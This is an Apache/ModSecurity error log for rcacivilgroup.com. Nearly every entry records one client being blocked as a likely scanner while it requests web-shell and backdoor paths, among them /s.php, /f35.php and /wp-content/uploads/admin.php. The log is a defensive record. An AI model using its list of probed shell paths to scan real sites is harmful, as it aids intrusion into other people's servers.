[Sat May 23 20:53:12.693627 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1250] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "ahGjOMyrPrcAqE-FOKKghAAAAcg"]
[Sat May 23 20:53:12.994634 2026] [:error] [pid 44326:tid 44378] [client 4.213.99.137:1650] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ahGjOMyrPrcAqE-FOKKgiwAAAdc"]
[Sat May 23 20:53:13.306603 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1312] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ahGjOcyrPrcAqE-FOKKgjAAAAc0"]
[Sat May 23 20:53:13.578770 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:1271] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ahGjOcyrPrcAqE-FOKKgjwAAAdM"]
[Sat May 23 20:53:13.875898 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1713] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ahGjOcyrPrcAqE-FOKKgkQAAAcM"]
[Sat May 23 20:53:14.181758 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1819] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "ahGjOsyrPrcAqE-FOKKgkwAAAcw"]
[Sat May 23 20:53:14.468341 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1662] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "ahGjOsyrPrcAqE-FOKKglAAAAdA"]
[Sat May 23 20:53:14.752392 2026] [:error] [pid 44326:tid 44356] [client 4.213.99.137:1257] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "ahGjOsyrPrcAqE-FOKKgmQAAAcE"]
[Sat May 23 20:53:15.086010 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1236] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "ahGjO5drUdFI6ijvMkmMmgAAAVc"]
[Sat May 23 20:53:15.356670 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1671] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "ahGjO3TIgjSDhiZmvlXv2QAAAEg"]
[Sat May 23 20:53:15.691085 2026] [:error] [pid 44296:tid 44310] [client 4.213.99.137:1246] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "ahGjO5drUdFI6ijvMkmMmwAAAUw"]
[Sat May 23 20:53:16.145710 2026] [:error] [pid 44296:tid 44302] [client 4.213.99.137:1643] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "ahGjPJdrUdFI6ijvMkmMnAAAAUQ"]
[Sat May 23 20:53:16.418495 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1314] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "ahGjPJdrUdFI6ijvMkmMngAAAUE"]
[Sat May 23 20:53:16.717695 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1619] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "ahGjPHTIgjSDhiZmvlXv3QAAAEU"]
[Sat May 23 20:53:17.024798 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1725] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "ahGjPXTIgjSDhiZmvlXv3gAAAFY"]
[Sat May 23 20:53:17.309986 2026] [:error] [pid 44296:tid 44315] [client 4.213.99.137:1267] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "ahGjPZdrUdFI6ijvMkmMoAAAAVE"]
[Sat May 23 20:53:17.640459 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:1220] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "ahGjPQSpWUCKPezIBJCuUAAAAQg"]
[Sat May 23 20:53:17.946169 2026] [:error] [pid 44296:tid 44320] [client 4.213.99.137:1836] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "ahGjPZdrUdFI6ijvMkmMoQAAAVY"]
[Sat May 23 20:53:18.361526 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1649] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "ahGjPsyrPrcAqE-FOKKgpQAAAcg"]
[Sat May 23 20:53:18.974087 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1634] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "ahGjPtUosz64YFiBlG119AAAAI8"]
[Sat May 23 20:53:19.778336 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1302] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "ahGjP3TIgjSDhiZmvlXv5QAAAFI"]
[Sat May 23 20:53:20.697735 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1242] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "ahGjQHTIgjSDhiZmvlXv6gAAAEw"]
[Sat May 23 20:53:21.313540 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1812] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "ahGjQXTIgjSDhiZmvlXv7gAAAFM"]
[Sat May 23 20:53:22.332288 2026] [:error] [pid 44296:tid 44314] [client 4.213.99.137:1238] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "ahGjQpdrUdFI6ijvMkmMpwAAAVA"]
[Sat May 23 20:53:22.838594 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1690] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "ahGjQnTIgjSDhiZmvlXv8gAAAFU"]
[Sat May 23 20:53:23.193624 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1637] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "ahGjQ3TIgjSDhiZmvlXv8wAAAFI"]
[Sat May 23 20:53:23.579488 2026] [:error] [pid 25876:tid 25884] [client 4.213.99.137:1229] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "ahGjQwSpWUCKPezIBJCuUgAAAQY"]
[Sat May 23 20:53:24.346597 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1245] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "ahGjRHTIgjSDhiZmvlXv9gAAAEI"]
[Sat May 23 20:53:24.889498 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1253] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "ahGjRHTIgjSDhiZmvlXv-AAAAEQ"]
[Sat May 23 20:53:25.214614 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1712] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "ahGjRZdrUdFI6ijvMkmMqgAAAVc"]
[Sat May 23 20:53:25.488647 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1264] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "ahGjRXTIgjSDhiZmvlXv-wAAAFE"]
[Sat May 23 20:53:25.764300 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1721] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "ahGjRXTIgjSDhiZmvlXv_QAAAFY"]
[Sat May 23 20:53:26.241454 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1612] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "ahGjRsyrPrcAqE-FOKKgrAAAAdg"]
[Sat May 23 20:53:26.588791 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1631] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahGjRnTIgjSDhiZmvlXwAAAAAEw"]
[Sat May 23 20:53:26.874639 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1618] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahGjRnTIgjSDhiZmvlXwAQAAAEI"]
[Sat May 23 20:53:27.205891 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1726] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahGjR3TIgjSDhiZmvlXwAgAAAFE"]
[Sat May 23 20:53:27.517988 2026] [:error] [pid 44296:tid 44303] [client 4.213.99.137:1652] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahGjR5drUdFI6ijvMkmMrgAAAUU"]
[Sat May 23 20:53:27.829186 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1804] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "ahGjR8yrPrcAqE-FOKKgsAAAAdI"]
[Sat May 23 20:53:28.098753 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1258] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "ahGjSJdrUdFI6ijvMkmMsAAAAVQ"]
[Sat May 23 20:53:28.495070 2026] [:error] [pid 44296:tid 44306] [client 4.213.99.137:1826] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "ahGjSJdrUdFI6ijvMkmMsgAAAUg"]
[Sat May 23 20:53:28.780659 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1820] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "ahGjSHTIgjSDhiZmvlXwBQAAAEE"]
[Sat May 23 20:53:29.064855 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1231] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahGjSXTIgjSDhiZmvlXwBwAAAE4"]
[Sat May 23 20:53:29.361513 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1323] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahGjSXTIgjSDhiZmvlXwCgAAAEg"]
[Sat May 23 20:53:29.683752 2026] [:error] [pid 25876:tid 25899] [client 4.213.99.137:1644] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahGjSQSpWUCKPezIBJCuVwAAARU"]
[Sat May 23 20:53:29.957334 2026] [:error] [pid 30940:tid 30970] [client 4.213.99.137:1663] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahGjSZqUP2XZmzp7RDoNMQAAABU"]
[Sat May 23 20:53:30.245532 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1276] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ahGjSnTIgjSDhiZmvlXwDQAAAEQ"]
[Sat May 23 20:53:30.516339 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1831] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ahGjSnTIgjSDhiZmvlXwDwAAAEU"]
[Sat May 23 20:53:30.788057 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1802] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ahGjSnTIgjSDhiZmvlXwEQAAAE8"]
[Sat May 23 20:53:31.075922 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1249] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ahGjS3TIgjSDhiZmvlXwFQAAAE4"]
[Sat May 23 20:53:31.398860 2026] [:error] [pid 30941:tid 30979] [client 4.213.99.137:1828] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ahGjS3TIgjSDhiZmvlXwFwAAAEM"]
[Sat May 23 20:53:31.792449 2026] [:error] [pid 30940:tid 30967] [client 4.213.99.137:1794] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ahGjS5qUP2XZmzp7RDoNMgAAABI"]
[Sat May 23 20:53:32.085807 2026] [:error] [pid 44326:tid 44360] [client 4.213.99.137:1225] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ahGjTMyrPrcAqE-FOKKgtQAAAcU"]
[Sat May 23 20:53:32.361369 2026] [:error] [pid 25876:tid 25895] [client 4.213.99.137:1232] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ahGjTASpWUCKPezIBJCuWAAAARE"]
[Sat May 23 20:53:32.660629 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1660] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ahGjTMyrPrcAqE-FOKKgtgAAAc8"]
[Sat May 23 20:53:32.942661 2026] [:error] [pid 44296:tid 44316] [client 4.213.99.137:1659] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ahGjTJdrUdFI6ijvMkmMtwAAAVI"]
[Sat May 23 20:53:37.329028 2026] [autoindex:error] [pid 44325:tid 44336] [client 4.213.99.137:1654] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
